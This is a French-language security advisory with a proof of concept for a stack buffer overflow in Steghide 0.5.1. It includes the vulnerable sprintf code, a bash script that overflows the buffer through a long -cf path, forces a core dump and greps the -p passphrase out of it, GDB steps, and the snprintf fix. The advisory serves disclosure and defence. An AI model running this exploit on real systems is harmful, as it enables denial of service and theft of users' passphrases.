
Preuve de concept (PoC) pour un débordement de tampon basé sur la pile dans Steghide 0.5.1. Démontre comment des chemins de fichiers longs déclenchent un plantage (DoS) et divulguent des données sensibles (mots de passe) via les vidages mémoire du système.
| Champ | Valeur |
|---|---|
| Application ciblée | Steghide (binaire Linux) |
| Version affectée | 0.5.1 (confirmé) ; versions antérieures probablement affectées |
| Type de vulnérabilité | Débordement de tampon basé sur la pile (CWE-121) |
| Impact | Déni de service (DoS), divulgation d'informations |
| Environnement de test | Kali Linux |
| Date de divulgation | 16 janvier 2026 |
| Auteur | Erik Dervishi |
| Lien du logiciel | https://salsa.debian.org/pkg-security-team/steghide |
| Score CVSS v3.1 | 5.5 (Moyen) |
| Vecteur CVSS | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
Justification de la sévérité :
Le score de sévérité Moyen reflète une exploitation locale fiable conduisant à la fois à un déni de service et à la divulgation de mots de passe sensibles via des fichiers core dump.
Une vulnérabilité de débordement de tampon basé sur la pile a été identifiée dans l'utilitaire en ligne de commande steghide (version 0.5.1). La vulnérabilité est déclenchée lors du passage d'un chemin de fichier excessivement long à l'argument -cf (fichier de couverture).
Bien que l'application soit compilée avec une protection contre l'écrasement de pile (SSP/Canary), qui empêche avec succès une exécution de code arbitraire (RCE) immédiate en interrompant le processus, ce mécanisme défensif crée une vulnérabilité secondaire : la divulgation d'informations.
L'analyse confirme que des données sensibles au moment de l'exécution—spécifiquement la phrase de passe passée via l'argument -p—restent exposées dans la mémoire de la pile au moment du crash. Sur les systèmes configurés pour conserver les core dumps (courant dans le développement, l'intégration continue ou les serveurs de production mal configurés), ces données sensibles sont écrites sur le disque en texte clair, permettant aux attaquants de récupérer les mots de passe.
Pour exploiter avec succès cette vulnérabilité afin de divulguer des informations, les conditions suivantes doivent être remplies :
Accès local : L'attaquant doit avoir un accès local au système ou la possibilité de passer des arguments au binaire steghide (par exemple, via un shell web ou un script wrapper).
Fichiers core activés : L'environnement cible doit être configuré pour générer des core dumps (par exemple, ulimit -c unlimited ou fs.suid_dumpable=1) et les écrire dans un emplacement accessible par l'attaquant.
Identifiants en mémoire : La victime doit exécuter la commande en utilisant l'argument -p (phrase de passe).
La vulnérabilité existe dans src/Embedder.cc. L'application ne vérifie pas les limites de la longueur de la chaîne de nom de fichier avant de la formater dans un tampon de taille fixe en utilisant sprintf.
Extrait de code vulnérable :
// src/Embedder.cc
char buf[200];
// Utilisation dangereuse de sprintf sans validation de longueur
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
Si la longueur combinée des chaînes dépasse 200 octets, sprintf écrit au-delà de la fin de buf, corrompant la pile.
Le binaire est compilé avec le protecteur de pile de GCC.
Comme __stack_chk_fail appelle abort() immédiatement, la terminaison du processus est brutale. Sur les systèmes Linux modernes (par exemple, utilisant systemd-coredump), cette terminaison rapide peut parfois entraîner la suppression ou la troncature du core dump, à moins que le système ne soit explicitement configuré pour forcer la création du dump.
Le script bash suivant configure l'environnement pour forcer un core dump physique et extrait le mot de passe.
Prérequis : Assurez-vous que ulimit soit défini et que le motif de core soit dirigé vers un fichier (nécessite les droits root pour la configuration, mais l'exploitation s'exécute en tant qu'utilisateur).
# Configuration (à exécuter une fois en tant que root/sudo pour garantir la visibilité) :
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
Fichier : poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh
# 1. Enable core dumps for this session
ulimit -c unlimited
# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF Header + WAVEfmt + PCM Audio + Data Chunk
# We provide a valid header so execution reaches the vulnerable Embedder.cc logic
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] Dump found: $CORE_FILE"
# Search for the password string inside the binary dump
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi
Vérification manuelle de l'état de la mémoire à l'aide de GDB (avec l'extension Pwndbg).
Étapes pour reproduire :
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
Sortie observée :
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
Conclusion : La chaîne sensible MY_SECRET_PASS persiste à la fois dans les segments de mémoire Heap et Stack au moment du crash, confirmant le vecteur de divulgation d'informations.
Confidentialité (Élevée) :
Disponibilité (Élevée) :
Intégrité (Faible) :
// Correction recommandée
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);